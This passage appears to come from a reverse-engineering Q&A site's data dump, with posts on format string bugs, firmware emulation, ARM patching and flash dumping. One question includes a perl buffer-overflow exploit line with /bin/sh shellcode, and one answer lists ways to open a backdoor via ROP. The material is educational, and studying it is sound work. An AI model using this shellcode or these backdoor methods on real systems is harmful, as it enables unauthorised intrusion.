&lt;code&gt;data&lt;/code&gt; and &lt;code&gt;bss&lt;/code&gt; segments are adjacent to the &lt;code&gt;text&lt;/code&gt; segment, which is low in memory. In light of this, a  memory address of &lt;code&gt;0x804a01c&lt;/code&gt; for &lt;code&gt;text1&lt;/code&gt; makes sense.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;ELF and the System V ABI&lt;/h3&gt;    &#xA;&#xA;&lt;p&gt;From Section 4 (Object Files) of the ABI:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An &lt;em&gt;executable file&lt;/em&gt; holds a program suitable for execution; the file specifies how the function &lt;code&gt;exec&lt;/code&gt; creates a program's process image.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Created by an assembler and link editor, object files are binary representations of programs intended to execute directly on a processor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Once the program is compiled, assembled and linked, it is essentially a description of what it will look like as a process. This means that an executable binary can be statically analyzed to get an idea of how things will look when the program is running. When the binary constructed from the source code provided above is analyzed it is observed that the values &lt;code&gt;text1&lt;/code&gt; and &lt;code&gt;text2&lt;/code&gt; are in the &lt;code&gt;.rodata&lt;/code&gt; section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -x .rodata &amp;lt;ELF BINARY NAME&amp;gt;&#xA;&#xA;Hex dump of section '.rodata':&#xA;  0x08048538 03000000 01000200 41414141 41414141 ........AAAAAAAA&#xA;  0x08048548 41414141 41004242 42424242 42424242 AAAAA.BBBBBBBBBB&#xA;  0x08048558 42424200 796f7520 68617665 206d6f64 BBB.you have mod&#xA;  0x08048568 69666965 64207468 65207461 72676574 ified the target&#xA;  0x08048578 203a2900 50726f67 72616d20 6e616d65  :).Program name&#xA;  0x08048588 3a202573 00                         : %s.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to the ABI (4-19), the &lt;code&gt;.rodata&lt;/code&gt; section holds read-only data that typically contributes to a non-writable segment in the process image. Examples of non-writable process image segments are the &lt;code&gt;text&lt;/code&gt; and &lt;code&gt;data&lt;/code&gt; segments mentioned above. The implication of this is that &lt;code&gt;text1&lt;/code&gt; and &lt;code&gt;text2&lt;/code&gt; will be located near where the program instructions are, namely the &lt;code&gt;text&lt;/code&gt; segment, when the program is loaded into memory. The instruction memory addresses will look much more similar to the memory addresses of &lt;code&gt;text1&lt;/code&gt; and &lt;code&gt;text2&lt;/code&gt; than memory addresses on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;target&lt;/code&gt; variable is an uninitialized global variable, so its data will be held in the &lt;code&gt;bss&lt;/code&gt; segment.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Arguments to Functions are Written to the Stack&lt;/h3&gt; &#xA;&#xA;&lt;p&gt;If you want pointers to these variables to appear on the runtime stack they must be passed as arguments to a function that is called at some point throughout the course of process execution, as a function's arguments are typically written to the stack in the caller's argument build area, as seen in the diagram below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stack layout with multiple frames (from &lt;a href=&quot;http://csapp.cs.cmu.edu/2e/ics2/asm/frame.ppt&quot; rel=&quot;nofollow noreferrer&quot;&gt;CSAPP&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Lsjhw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lsjhw.jpg&quot; alt=&quot;http://csapp.cs.cmu.edu/2e/ics2/asm/frame.ppt&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, instead of passing &lt;code&gt;argv[1]&lt;/code&gt; as an argument to the &lt;code&gt;vuln&lt;/code&gt; function, the global variable &lt;code&gt;text1&lt;/code&gt; can be passed instead. A pointer to &lt;code&gt;text1&lt;/code&gt; would then be saved on the stack prior to &lt;code&gt;vuln&lt;/code&gt; being called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, instead of hardcoding 'A' as a value for a global variable, you can pass an arbitrary number of 'A's (or any other ASCII characters) as an argument on the command line when executing your program in the shell. This will result in whatever values you pass being stored in &lt;code&gt;argv[1]&lt;/code&gt; which is the argument to &lt;code&gt;vuln&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted that due to their global scope, &lt;code&gt;text1&lt;/code&gt;, &lt;code&gt;text2&lt;/code&gt; and &lt;code&gt;data&lt;/code&gt; can be referenced in any function without being passed as an argument, but in the context of format string vulnerabilities and &lt;code&gt;printf&lt;/code&gt;&#xA;that is not particularly useful to know.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;For More Information&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For more information on how &lt;code&gt;printf&lt;/code&gt; behaves in a x86 Linux environment, one can take a look at the  answer to the following question on stackoverflow in which a user is calling &lt;code&gt;printf&lt;/code&gt; in a non-standard fashion: &lt;a href=&quot;https://stackoverflow.com/questions/41656201/elf32-binary-little-endian-or-not/41710748#41710748&quot;&gt;&quot;ELF32 binary, little endian or not?&quot;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Section 3.7 (titled &quot;Procedures&quot;) in &quot;Computer Systems: A Programmer's Perspective&quot; covers function calls and the stack on an assembly level and has several helpful diagrams.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-02-01T05:38:43.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14512" PostTypeId="2" ParentId="13366" CreationDate="2017-01-27T09:07:37.653" Score="1" Body="&lt;p&gt;You can check for other fragmented overflows but, I recommend you to check if your egghunter works first. Another thing is bad-chars are not standard for all situations, check receiving function and search for special bad-chars.&lt;/p&gt;&#xA;&lt;p&gt;Some options:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Send other data to server and try to find them with your egg hunter (as @s3c said)&lt;/li&gt;&#xA;&lt;li&gt;Use ret2libc and ROP chains to open backdoor (add user, set bash to listen port, download &amp;amp; execute..)&lt;/li&gt;&#xA;&lt;li&gt;Exploit developers and malware writers developed lots of other application for little spaces using self-modifying code and compression techniques&lt;/li&gt;&#xA;&lt;li&gt;Overwrite PLT and function pointers for further information exchange&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And lots of other methods depending program semantic and implementation.&lt;/p&gt;&#xA;" OwnerUserId="18804" LastEditorUserId="18804" LastEditDate="2020-12-05T05:22:53.647" LastActivityDate="2020-12-05T05:22:53.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14516" PostTypeId="2" ParentId="14503" CreationDate="2017-01-28T06:37:30.280" Score="3" Body="&lt;p&gt;I haven't touched Android in almost a year but IIRC:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All JNI libraries need to be loaded from Java side first e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;System.loadLibrary(&quot;hello-jni&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which translates to &lt;code&gt;invoke-virtual&lt;/code&gt; in compiled Java.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, IDA Pro identifies fully qualified names in &lt;code&gt;.so&lt;/code&gt;s it decompiles, so you will be able to figure out Java names for those JNI functions. See also &lt;a href=&quot;http://www.hexblog.com/?p=809&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.hexblog.com/?p=809&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tool may also be of help, although it's rather old &lt;a href=&quot;https://github.com/maaaaz/jnianalyzer&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/maaaaz/jnianalyzer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastEditorUserId="1358" LastEditDate="2017-01-28T06:42:44.213" LastActivityDate="2017-01-28T06:42:44.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14517" PostTypeId="2" ParentId="144" CreationDate="2017-01-28T14:49:00.580" Score="1" Body="&lt;p&gt;I use &lt;a href=&quot;https://www.free-decompiler.com/flash/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.free-decompiler.com/flash/&lt;/a&gt; which is the best software I have seen. It has almost all features you can want. It also comes with a java library which can be handy to automate your workflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more low-level tool : &lt;a href=&quot;https://github.com/CyberShadow/RABCDAsm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/CyberShadow/RABCDAsm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18927" LastActivityDate="2017-01-28T14:49:00.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14520" PostTypeId="1" CreationDate="2017-01-29T11:45:13.867" Score="0" ViewCount="546" Body="&lt;p&gt;While almost all UML tools provide a means of obtaining the structural content of a body of source material, i.e. namespaces as: &lt;code&gt;packages&lt;/code&gt;, &lt;code&gt;Class&lt;/code&gt;, &lt;code&gt;Interfaces&lt;/code&gt;, &lt;code&gt;Attributes&lt;/code&gt; and &lt;code&gt;Operations&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come across a tool/library which can take an operation definition and construct a UML Activity model/Diagram ? Preferably open source.&lt;/p&gt;&#xA;" OwnerUserId="18941" LastEditorUserId="53" LastEditDate="2017-08-16T08:10:38.650" LastActivityDate="2017-08-16T08:10:38.650" Title="C# Source Reverse Eng into UML Model Fragment" Tags="|c#|code-modeling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14521" PostTypeId="2" ParentId="3808" CreationDate="2017-01-29T12:35:43.180" Score="0" Body="&lt;p&gt;Just about all the major tools will take source files / directories and produce namespace (a Package), class and interface definitions, attributes, properties, and operation signatures. For a variety of languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, not all dependencies nor all relationships between classes will be discovered as operation definition bodies are not parsed, thus Activity model of an operation cannot be derived ( nor its Activity Diagram ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Microsoft in Visual Studio 2010 ( I believe, through to 2015 ) included an Operation to Sequence Diagram generator for any operation selected in the editor. It has since been dropped, probably due to it being restricted to managed languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To derive State Machine model / diagram would also need to be cognitive of the coding convention originally employed in the source to be meaningful.  Perhaps this is an area that Machine Learning might have impact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Collaboration Diagrams have been dropped from UML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm suprised that parsing op bodies has not been up taken by vendors, EA, MagicDraw, not even Eclipse Papyrus for Java.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps,&#xA;Regards&lt;/p&gt;&#xA;" OwnerUserId="18941" LastActivityDate="2017-01-29T12:35:43.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14523" PostTypeId="1" AcceptedAnswerId="14537" CreationDate="2017-01-29T16:48:35.830" Score="2" ViewCount="2144" Body="&lt;p&gt;I've come across multiple questions/tutorials about QEMU emulation of devices running some sort of Linux/Busybox operating system and a file system. However, I'm seeking ways to run ARM-based firmware of embedded devices using QEMU using the extracted image file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this moment, I've been trying multiple time using something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qemu-system-arm -machine versatilepb -m 128M -option-rom MspApp.bin &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, in every case, I end up with a similar crash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;R00=00000000 R01=00000000 R02=00000000 R03=00000000&#xA;R04=00000000 R05=00000000 R06=00000000 R07=00000000&#xA;R08=00000000 R09=00000000 R10=00000000 R11=00000000&#xA;R12=00000000 R13=00000000 R14=00000000 R15=08000000&#xA;PSR=400001d3 -Z-- A svc32&#xA;s00=00000000 s01=00000000 d00=0000000000000000&#xA;s02=00000000 s03=00000000 d01=0000000000000000&#xA;s04=00000000 s05=00000000 d02=0000000000000000&#xA;s06=00000000 s07=00000000 d03=0000000000000000&#xA;s08=00000000 s09=00000000 d04=0000000000000000&#xA;s10=00000000 s11=00000000 d05=0000000000000000&#xA;s12=00000000 s13=00000000 d06=0000000000000000&#xA;s14=00000000 s15=00000000 d07=0000000000000000&#xA;s16=00000000 s17=00000000 d08=0000000000000000&#xA;s18=00000000 s19=00000000 d09=0000000000000000&#xA;s20=00000000 s21=00000000 d10=0000000000000000&#xA;s22=00000000 s23=00000000 d11=0000000000000000&#xA;s24=00000000 s25=00000000 d12=0000000000000000&#xA;s26=00000000 s27=00000000 d13=0000000000000000&#xA;s28=00000000 s29=00000000 d14=0000000000000000&#xA;s30=00000000 s31=00000000 d15=0000000000000000&#xA;FPSCR: 00000000&#xA;Aborted&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Understanding that the execution won't go very far given that I do not emulate any of the required hardware - a problem for later - I would a least like to have the device boot up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I've been trying on a firmware for pool automation, which from the static analysis reveals that it runs on &lt;a href=&quot;https://www.mentor.com/embedded-software/nucleus/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Nucleus RTOS&lt;/a&gt; on a &lt;a href=&quot;http://www.nxp.com/products/microcontrollers-and-processors/arm-processors/i.mx-applications-processors/i.mx28-applications-processors-integrated-power-management-unit-pmu-arm9-core:IMX28_FAMILY&quot; rel=&quot;nofollow noreferrer&quot;&gt;i.MX28 board&lt;/a&gt; from NXP, based on ARM9. The firmware is composed of two files, one appears to contain the OS, a set of XML files - likely used for the user interface - and possibly a U-boot bootloader. All of these components are in the &lt;em&gt;MspApp.bin&lt;/em&gt; file, which I assume is the ROM image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are: 1) is it possible to partially emulate embedded devices from firmware ROM images using QEMU and if so 2) what information/commands/modification would I need to have QEMU partially emulate the extracted firmware?&lt;/p&gt;&#xA;" OwnerUserId="13780" LastEditorUserId="13780" LastEditDate="2017-01-29T18:41:55.453" LastActivityDate="2017-01-31T12:50:39.823" Title="Emulating Non-Linux Firmware Image of Embedded Devices" Tags="|firmware|embedded|qemu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14524" PostTypeId="2" ParentId="14482" CreationDate="2017-01-29T21:41:37.240" Score="4" Body="&lt;p&gt;&lt;code&gt;youtube-dl&lt;/code&gt; is a nice program to download media content from a lot of websites, including twitter (and despites program name). It is open source, studying it can help understand how to retrieve the correct URLs and various other stuff (media quality, etc…)&lt;/p&gt;&#xA;" OwnerUserId="18945" LastActivityDate="2017-01-29T21:41:37.240" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14525" PostTypeId="1" AcceptedAnswerId="14530" CreationDate="2017-01-30T04:03:20.147" Score="0" ViewCount="448" Body="&lt;p&gt;After overwrite the &lt;code&gt;EIP&lt;/code&gt; register, I try &lt;code&gt;breakpoint&lt;/code&gt; on the function &lt;code&gt;strcpy()&lt;/code&gt; and then run the program after a &lt;code&gt;breakpoint&lt;/code&gt; in the &lt;code&gt;debugger&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I check the &lt;code&gt;ESP&lt;/code&gt; register :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) i r esp&#xA;esp            0xbffff268   0xbffff268&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;0xbffff268&lt;/code&gt; I subtract address (say, &lt;code&gt;300&lt;/code&gt;) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0xbffff268&lt;/code&gt; - &lt;code&gt;300&lt;/code&gt; = &lt;code&gt;0xbffff13c&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the form of little endian = &lt;code&gt;\x3c\xf1\xff\xbf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the address in the calculations, the address will be used in nopsled I created&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;NOPSLED + SHELLCODE + ESP&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so my exploit is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`perl -e 'print &quot;\x90&quot; x 200 . &quot;\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot; . &quot;\x3c\xf1\xff\xbf&quot; x 45'`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When executed using the &lt;code&gt;debugger&lt;/code&gt; and then typing &lt;code&gt;c&lt;/code&gt; in the &lt;code&gt;debugger&lt;/code&gt;, I get &lt;code&gt;Segmentation fault (core dumped)&lt;/code&gt; at the address &lt;code&gt;ESP&lt;/code&gt; register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why my exploit doesn't work ?&lt;/p&gt;&#xA;" OwnerUserId="14199" LastActivityDate="2017-08-02T13:15:02.493" Title="My nopsled getting Segmentation fault (core dumped)" Tags="|x86|linux|exploit|buffer-overflow|shellcode|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14528" PostTypeId="1" CreationDate="2017-01-30T18:54:41.813" Score="1" ViewCount="438" Body="&lt;p&gt;I have a binary that is utilizing OutputDebugString as an anti-debugging technique. I want to find the calls and patch up the jump table or something similar. Normally I can find an API call by using the &quot;Names&quot; window. Also I have tried searching for all intermodular calls. The OutputDebugString API is found in neither, but I know it is being called. How do I find the calls to this API and set a BP on them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This software is packed and protected using Armadillo, which uses some API redirections, so maybe it is using LoadLib/GetProcAddr to call the API by offset instead of by name?&lt;/p&gt;&#xA;" OwnerUserId="18954" LastEditorUserId="18954" LastEditDate="2017-01-30T21:25:50.717" LastActivityDate="2017-01-30T21:25:50.717" Title="How do you find and set a BP on OutputDebugString calls in OllyDBG?" Tags="|ollydbg|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14530" PostTypeId="2" ParentId="14525" CreationDate="2017-01-30T20:09:58.597" Score="1" Body="&lt;p&gt;Stack growing downwards try adding that value, make sure your payload in a executable area and your calculations right (which we don't know how you do it). Buffer overflow doesn't mean unlimited unfragmented override, check your payload's integrity. If you can share your code we can examine and understand your problem better.&lt;/p&gt;&#xA;" OwnerUserId="18804" LastEditorUserId="18804" LastEditDate="2017-08-02T13:15:02.493" LastActivityDate="2017-08-02T13:15:02.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14532" PostTypeId="1" CreationDate="2017-01-31T07:14:07.290" Score="3" ViewCount="7239" Body="&lt;p&gt;I know IDA Pro can disassemble them to assembly code, but are there tools to decompile 64bit ARMv8 Android .so shared libraries to C?&lt;/p&gt;&#xA;" OwnerUserId="15717" LastActivityDate="2020-08-20T20:40:53.357" Title="Decompiling 64bit ARMv8 Android .so library" Tags="|ida|android|decompile|decompiler|libraries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14533" PostTypeId="2" ParentId="14532" CreationDate="2017-01-31T07:29:08.557" Score="4" Body="&lt;p&gt;The first tool is IDA decompiler (a plugin for IDA).&#xA;As far as I know for now IDA has decompilers for x86, x64, ARM32, ARM64, PPC, PPC64, and MIPS (see &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for more details, each of them costs additional money and should be purchased separately).&lt;/p&gt;&#xA;&lt;p&gt;The second is &lt;a href=&quot;https://www.hopperapp.com/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;hopper&lt;/a&gt; which has much weaker decompiler and claims to be able to decompile arm64.&lt;/p&gt;&#xA;&lt;p&gt;There is also a new open source tool called &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra&lt;/a&gt; from &lt;a href=&quot;https://www.nsa.gov/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the NSA&lt;/a&gt; (&lt;a href=&quot;https://www.ghidra-sre.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Direct download link&lt;/a&gt; is unavailable from some countries, but VPN helps). It supports decompilation for a lot of platforms (because it uses the same intermediate representation for all processors) and as opposite to IDA its processor definitions are configurable and can be updated (see the &lt;a href=&quot;https://ghidra.re/courses/languages/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;sleigh language manual&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;The code generated by Ghidra may be less polished and less accurate, but you have a possibility, for example, to add new instructions when you need them - &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/78&quot; rel=&quot;nofollow noreferrer&quot;&gt;see here an example&lt;/a&gt; (first I found, I'm sure there are more)&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2020-08-20T20:40:53.357" LastActivityDate="2020-08-20T20:40:53.357" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="14534" PostTypeId="1" AcceptedAnswerId="14687" CreationDate="2017-01-31T10:29:55.000" Score="0" ViewCount="709" Body="&lt;p&gt;I have disassembled two armv7 files in IDA. I am trying to figure out how I can create a patch to change one to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original file has:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__text:00017B60 loc_17B60                           ; CODE XREF: sub_17384+5B2j&#xA;__text:00017B60                                     ; sub_17384+636j&#xA;__text:00017B60                 MOV             R0, #(aImageCheck - 0x17B6C) ;&#xA;__text:00017B68                 ADD             R0, PC  ;&#xA;__text:00017B6A                 BLX             _warnx&#xA;__text:00017B6E                 MOV.W           R11, #0x50&#xA;__text:00017B72                 B               loc_17956&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The modified files has:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__text:00017B60 loc_17B60                           ; CODE XREF: sub_17384+5B2j&#xA;__text:00017B60                                     ; sub_17384+636j&#xA;__text:00017B60                 B               loc_17B16&#xA;__text:00017B60 ; End of function sub_17384&#xA;__text:00017B60&#xA;__text:00017B62 ; ---------------------------------------------------------------------------&#xA;__text:00017B62                 STR             R1, [R1,#0xC]&#xA;__text:00017B64                 MOVT.W          R0, #0&#xA;__text:00017B68                 ADD             R0, PC  ;&#xA;__text:00017B6A                 BLX             _warnx&#xA;__text:00017B6E                 MOV.W           R11, #0x50&#xA;__text:00017B72                 B               loc_17956&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In essence, we're forcing a branch to another address, instead of continuing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In IDA, when I go to the byte patch menu, I get the following for the MOV I want to change: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4D F6 C9 60 C0 F2 00 00 78 44 10 F0 46 EA 4F F0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the patched file, I get the following for the new Branch:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D9 E7 C9 60 C0 F2 00 00 78 44 10 F0 46 EA 4F F0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The difference between both is the beginning: &lt;code&gt;D9 E7&lt;/code&gt;. Does this mean &lt;code&gt;D9&lt;/code&gt; is the Branch, and &lt;code&gt;E7&lt;/code&gt; is the &lt;code&gt;loc_17B16&lt;/code&gt;? How would you translate &lt;code&gt;loc_17B16&lt;/code&gt; to the byte value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="15808" LastActivityDate="2021-05-28T12:09:33.527" Title="How to patch file by adding a branch instruction to another address in arm" Tags="|ida|disassembly|arm|patching|bin-diffing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14537" PostTypeId="2" ParentId="14523" CreationDate="2017-01-31T12:50:39.823" Score="1" Body="&lt;p&gt;It &lt;em&gt;is&lt;/em&gt; possible, but emulating the raw .bin file is almost never going to work unless it's laid out exactly like the QEMU platform you're using expects.  If the binary you want to run is statically-linked and is in a binary format that QEMU knows, you may be able to use QEMU user mode to run it, but you'll need to extract it from your binary image.  &lt;a href=&quot;http://binwalk.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Binwalk&lt;/a&gt; may be very useful for that.  The bootloader is probably a good candidate for user-mode emulation, or again, anything in the filesystem that is statically-linked.  A good guide is here: &lt;a href=&quot;http://nairobi-embedded.org/qemu_usermode.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;QEMU usermode, howto&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For anything that's dynamically linked and depends on the Nucleus RTOS, you'll likely have to hack on QEMU for the OS support.  That could be a timely undertaking.  If you know the memory layout and where everything in MspApp.bin is loaded to start up, you might be able to make some forward progress using the Unicorn Framework (sorry, don't yet have enough rep to post more than 2 links), although you will very quickly run into issues where the board-specific hardware isn't modeled which can quickly lead you down the rabbit hole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck, embedded system emulation is a frustrating but rewarding undertaking.  Regardless of whether you get it working or not, you will have learned a lot by the time you're done.&lt;/p&gt;&#xA;" OwnerUserId="16966" LastActivityDate="2017-01-31T12:50:39.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14538" PostTypeId="1" AcceptedAnswerId="14541" CreationDate="2017-01-31T15:23:15.717" Score="0" ViewCount="2587" Body="&lt;p&gt;I'm planning on dumping and reading the flash memory of a Winbond W25Q128FV chip. I've done some research and plan on buying the following tools to achieve this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bus Pirate 3.6a&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B01CRCSO2O&quot; rel=&quot;nofollow noreferrer&quot;&gt;Probe Cable&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B01KLT04PA&quot; rel=&quot;nofollow noreferrer&quot;&gt;SOIC8 Test Clip&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I already have a soldering kit. Are these the right tools and are they sufficient to read the flash memory to my computer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I already have an Arduino Uno and a Raspberry Pi. Can either of those be used in place of a Bus Pirate?&lt;/p&gt;&#xA;" OwnerUserId="18965" LastActivityDate="2017-01-31T18:25:29.807" Title="Dumping Flash Memory Using Bus Pirate" Tags="|dumping|flash|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14539" PostTypeId="1" CreationDate="2017-01-31T15:43:48.127" Score="2" ViewCount="10049" Body="&lt;p&gt;I am currently trying to reverse-engineer a firmware file to learn the topic but I am a little bit stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use &lt;code&gt;binwalk&lt;/code&gt; to get more information about the file but this did not produce anything useful. Below is the output of running &lt;code&gt;binwalk&lt;/code&gt; with the -I argument which shows results marked as invalid:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YyGzW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YyGzW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost no useful information was discovered by using &lt;code&gt;strings&lt;/code&gt; and &lt;code&gt;hexdump&lt;/code&gt; to analyze the file. It seems that the file is encrypted or packed. Does anyone have any ideas that will help me continue investigating this? Maybe recommendations for some good tools to use?&lt;/p&gt;&#xA;" OwnerUserId="18964" LastEditorUserId="18317" LastEditDate="2017-03-05T10:25:36.510" LastActivityDate="2020-12-05T05:16:23.557" Title="Reverse Engineering a Firmware. Someone can help me?" Tags="|binary-analysis|firmware|decryption|decompress|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14541" PostTypeId="2" ParentId="14538" CreationDate="2017-01-31T18:25:29.807" Score="1" Body="&lt;p&gt;Sounds like you're good to go. Yes the Raspberry has a SPI interface so you can connect the Winbond to it and use the &quot;flashrom&quot; to dump it. Attach the SOIC clip to the chip and connect the pins to the Raspberry Pi respective pins:&#xA;MISO&#xA;MOSI&#xA;Chip Select&#xA;Clock&#xA;Ground&#xA;Also the appropriate voltage Vcc 3.3 or 5. Pi can provide both .&lt;/p&gt;&#xA;" OwnerUserId="4602" LastActivityDate="2017-01-31T18:25:29.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
